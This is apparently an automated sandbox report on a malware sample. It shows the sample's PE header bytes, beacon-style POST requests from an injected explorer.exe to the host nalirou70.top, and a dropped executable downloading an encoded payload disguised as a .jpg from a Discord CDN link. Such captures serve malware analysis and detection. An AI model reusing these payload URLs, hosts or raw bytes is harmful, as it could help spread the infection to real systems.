f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00 50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 72 02 c0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 f0 72 02 00 0a 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF\|CvqRichPELMd_p`0@t1PrBr@{@.text `.data,do0@.rsrcBrD*@@.relocrn@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49783	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:56.667695045 CET	1529	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ruebf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 330 Host: nalirou70.top
Nov 9, 2021 22:20:57.647743940 CET	1530	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49784	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:58.655348063 CET	1531	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhiaeb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: nalirou70.top
Nov 9, 2021 22:20:59.633724928 CET	1532	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49786	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:04.788521051 CET	1533	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjvrsspwd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: nalirou70.top
Nov 9, 2021 22:21:05.768644094 CET	1564	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49788	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:06.100507975 CET	1571	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hjuvthale.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: nalirou70.top
Nov 9, 2021 22:21:07.085383892 CET	1701	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49868	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:21:48 UTC	0	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-11-09 21:21:48 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:48 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6aba17c8bf016963-FRA Accept-Ranges: bytes Age: 1241204 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Wed, 09 Nov 2022 21:21:48 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5oUOkhR9pWpnZgv0jKBmpMWPGbEo3PjL5cS%2BkukD048ebitCz9exEHMGoox%2FDaMh2K7kigqvCvcedNWoECtYehJvvfFQTCH1t1z05KyI8y9MINSojTZgRBfFIlFfiH17Sdmm%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-11-09 21:21:48 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-11-09 21:21:48 UTC	1	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt OOx O
2021-11-09 21:21:48 UTC	2	IN	Data Raw: 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 52 20 59 78 20 59 4b 20 6b 4b 20 4f 6f 4b 20 4f 78 52 Data Ascii: x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx OtR Yx YK kK OoK OxR
2021-11-09 21:21:48 UTC	4	IN	Data Raw: 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 20 4f 4f 6f 20 4f 4f 4b 20 45 78 20 52 4b 20 6b 45 20 59 52 20 6f 51 20 6f 6f 20 4f 78 51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4b 52 Data Ascii: YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ OOo OOK Ex RK kE YR oQ oo OxQ OOo Ro Kk Yx YK kK OKR
2021-11-09 21:21:48 UTC	5	IN	Data Raw: 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f Data Ascii: OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OO
2021-11-09 21:21:48 UTC	6	IN	Data Raw: 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 59 4b 20 51 4b 20 6f 78 6b 20 51 45 20 4f 45 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 74 6f 20 59 6f 20 Data Ascii: OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx YK QK oxk QE OEE OOo Yx YK QE oo kK OOK Oot Qt to Yo
2021-11-09 21:21:48 UTC	8	IN	Data Raw: 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b 78 20 4f 4b 78 20 4f 4f 59 20 4f 6b 52 20 4f 4f 45 20 59 78 20 59 4b 20 52 59 20 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 51 20 4f 4b 45 20 59 78 20 4b 6b 20 Data Ascii: Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ kx OKx OOY OkR OOE Yx YK RY R kK OOK Oot OQ OKE Yx Kk
2021-11-09 21:21:48 UTC	9	IN	Data Raw: 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 59 45 20 4f 78 20 6f 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 45 78 20 59 51 20 59 4f 20 4b 6b 20 59 6f 20 45 74 20 6b 6f 20 51 51 20 4f 4f 59 20 4f 6f 4b 20 Data Ascii: OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE YE Ox oEK kK OOK OOt Ex YQ YO Kk Yo Et ko QQ OOY OoK
2021-11-09 21:21:48 UTC	10	IN	Data Raw: 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b 45 20 4f 4f 52 20 4f 6f 78 20 4f 74 52 20 51 52 20 4b 6b 20 4b 6b 20 59 78 20 59 6f 20 4f 6f 4b 20 4f 6f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 52 6f 20 59 59 Data Ascii: Ot OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE OOR Oox OtR QR Kk Kk Yx Yo OoK Ooo OOt OxQ OOk Ro YY
2021-11-09 21:21:48 UTC	12	IN	Data Raw: 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 20 74 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 74 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 6b 20 51 45 20 59 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 78 20 45 Data Ascii: Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kK OOK OOR to ORx OYY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk kK OOK OOY o tK YO Kk Yo EQ kE Qt OOY OoK OOk QE Y YO YK ko Oxx E
